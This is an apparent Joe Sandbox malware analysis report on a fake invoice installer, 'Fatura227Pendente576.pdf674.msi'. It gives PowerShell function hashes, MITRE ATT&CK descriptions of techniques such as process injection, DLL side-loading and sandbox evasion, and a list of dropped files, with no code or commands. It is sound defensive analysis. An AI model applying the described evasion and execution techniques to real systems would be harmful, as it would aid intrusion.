Analysis Process: powershell.exePID: 4336, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B463575 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.3180418327.00007FFD9B460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87e2e4477d437e970239aeb50e23eac8c856812615fb9760e0045722038bbc8a
Instruction ID: 1b76d66520923b09bce8d3d9f201e0aa6246d4a776c8af98db85a05d974e7987
Opcode Fuzzy Hash: 87e2e4477d437e970239aeb50e23eac8c856812615fb9760e0045722038bbc8a
Instruction Fuzzy Hash: 4D01677121CB0C8FD748EF0CE451AA5B7E0FB95364F50056EE58AC36A5DB36E881CB45

Analysis Process: powershell.exePID: 2656, Parent PID: 1440COMMON

Executed Functions

Function 08580040 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2514153441.0000000008580000.00000040.00000800.00020000.00000000.sdmp, Offset: 08580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_8580000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa8b580b5ae9534536cc5e45c267f558729af6a83ba29009ec4bbd3e6daa0c36
Instruction ID: 80137891f1973b042dbc02daca803675c5a43775c9d0054a0bb51f5616a2668c
Opcode Fuzzy Hash: aa8b580b5ae9534536cc5e45c267f558729af6a83ba29009ec4bbd3e6daa0c36
Instruction Fuzzy Hash: C4414C74740605CFDB10EF6CCA9492ABBE6FFC8351B158069E449DB365DB34EC068BA0

Function 0858C871 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2514153441.0000000008580000.00000040.00000800.00020000.00000000.sdmp, Offset: 08580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_8580000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b2b1edddcbd7f75276f03da554186878c4de2500d5d87b6dee8fb5053f57ae7
Instruction ID: fa0590737044b62d62f5b99a26cae8146d300b78cf1ba84aedbd207d947cfca2
Opcode Fuzzy Hash: 3b2b1edddcbd7f75276f03da554186878c4de2500d5d87b6dee8fb5053f57ae7
Instruction Fuzzy Hash: 3731C135300201CFD704DB6DE990A2A7BE7FBC871671980AEE54DDB355DE25DC068BA0

Function 02B3F648 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2394937327.0000000002B3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2b3d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 098167bc917fafa866a563f0236790ffab74f6041738be99f47267296875098c
Instruction ID: 54637376eeb1d915ab12c59fc9dd141fcaa69d57bc326c6f33f4ab84ab34da92
Opcode Fuzzy Hash: 098167bc917fafa866a563f0236790ffab74f6041738be99f47267296875098c
Instruction Fuzzy Hash: 7E21F175900200EFDF06DF14DAC4B26BF65FB88314F24C5A9E9094A666C336D856CB61

Function 02B3F643 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2394937327.0000000002B3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2b3d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac59097383679d3c36945f3a55f47b1b34a77431d90e23eb4db771cfbaa4427a
Instruction ID: 6600ad1ce0c058b026e854ab638a7c5dc55072af65d9f471bfc7b9ac4ef40cf4
Opcode Fuzzy Hash: ac59097383679d3c36945f3a55f47b1b34a77431d90e23eb4db771cfbaa4427a
Instruction Fuzzy Hash: 3221CD76904240DFCF06CF14D9C4B26BF72FB48318F24C5A9D9494A666C33AD46ACB91

Function 02B3D006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2394937327.0000000002B3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2b3d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee27d9f3f9ebd0b4f0bb39f5ed973fcde678762e71b9d53384b6ada4a15b3d71
Instruction ID: fb8b451119ea75dade91d04d7ed4e268603f227eed6bb78b7937919b34679c6f
Opcode Fuzzy Hash: ee27d9f3f9ebd0b4f0bb39f5ed973fcde678762e71b9d53384b6ada4a15b3d71
Instruction Fuzzy Hash: 0901696240D3809ED7134A2588A4752BFB8EF53624F0984DBE8888F1A3C2699845CB72

Function 02B3D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2394937327.0000000002B3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2b3d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0307e2a2846acf338fa7f55f2f8b59908821234d22b65a90d9e272d194c74d9
Instruction ID: 72086ae7d6a3a561c4454bccd118819a6c7d7b39a2753b0f0bdeca4b19fccaac
Opcode Fuzzy Hash: f0307e2a2846acf338fa7f55f2f8b59908821234d22b65a90d9e272d194c74d9
Instruction Fuzzy Hash: 73012B71508301EAE7128A25CDD4B67BF98EF41724F08C5AAEC480F146C379D841C6B1

Function 02B3D9A7 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2394937327.0000000002B3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2b3d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c087449aeb130cf3f7e1d7ee8417c95472dc50df341c443af38f997367b42ea
Instruction ID: 2a4263b4443cdc67f45943075bfefb6706f397a466f80de12567b11639bd41f6
Opcode Fuzzy Hash: 8c087449aeb130cf3f7e1d7ee8417c95472dc50df341c443af38f997367b42ea
Instruction Fuzzy Hash: 16F0F976200600AF9725CF0AD985C27FBADEBD4770719C5AAED4A4B615C771EC42CEA0

Function 02B3D998 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2394937327.0000000002B3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2b3d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d493a4da4a1c64ea640c1af0490e6a89bec5074a85c5c8045ea5c4629e01c53c
Instruction ID: 94d1460030bcf460427d3830d0632e60d27367f2e5423c8f8d47e31dd14a059e
Opcode Fuzzy Hash: d493a4da4a1c64ea640c1af0490e6a89bec5074a85c5c8045ea5c4629e01c53c
Instruction Fuzzy Hash: 92F0F975104640AFD725CF06C985D23BBB9EB85764B198599A89A5B322C731FC42CF60

Function 0858D841 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2514153441.0000000008580000.00000040.00000800.00020000.00000000.sdmp, Offset: 08580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_8580000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdebca17b3263024362edea1984c2c088b9a419e15445dafebc9fda08bc83296
Instruction ID: 7635d83f70453da53aa2be9e93cdeab512aedc045e7cc3edd16a8abf9fc502da
Opcode Fuzzy Hash: bdebca17b3263024362edea1984c2c088b9a419e15445dafebc9fda08bc83296
Instruction Fuzzy Hash: 52E0926118A3C09FD3438B389852CA23F789E9752530A01CAE588CF5B3D11A9D1ACB76

Function 0858D870 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2514153441.0000000008580000.00000040.00000800.00020000.00000000.sdmp, Offset: 08580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_8580000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e37fa2c4b25c90fedda369ee33962fc46b1138c5811620e710add117a99e31e3
Instruction ID: 5b341190c77585658557a2ac94e766b1a328ed5906a4ff1de745a14f7d5a293c
Opcode Fuzzy Hash: e37fa2c4b25c90fedda369ee33962fc46b1138c5811620e710add117a99e31e3
Instruction Fuzzy Hash: 43B092301502088F82409A59D445C007BA8AF08A143410090E1088B632C621F8008A40

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Fatura227Pendente576.pdf674.msi

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\3ffef1.rbs

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\2xgfswae.0.cs

C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline

C:\Users\user\AppData\Local\Temp\2xgfswae.dll

C:\Users\user\AppData\Local\Temp\2xgfswae.out

C:\Users\user\AppData\Local\Temp\CSC1F1FEE1B60354EE49FE3D23A31B1244.TMP

C:\Users\user\AppData\Local\Temp\Executar01aa.ps1

C:\Users\user\AppData\Local\Temp\MSIffdb6.LOG

C:\Users\user\AppData\Local\Temp\Pro12A8.tmp

C:\Users\user\AppData\Local\Temp\Pro144.tmp

Windows Analysis Report
Fatura227Pendente576.pdf674.msi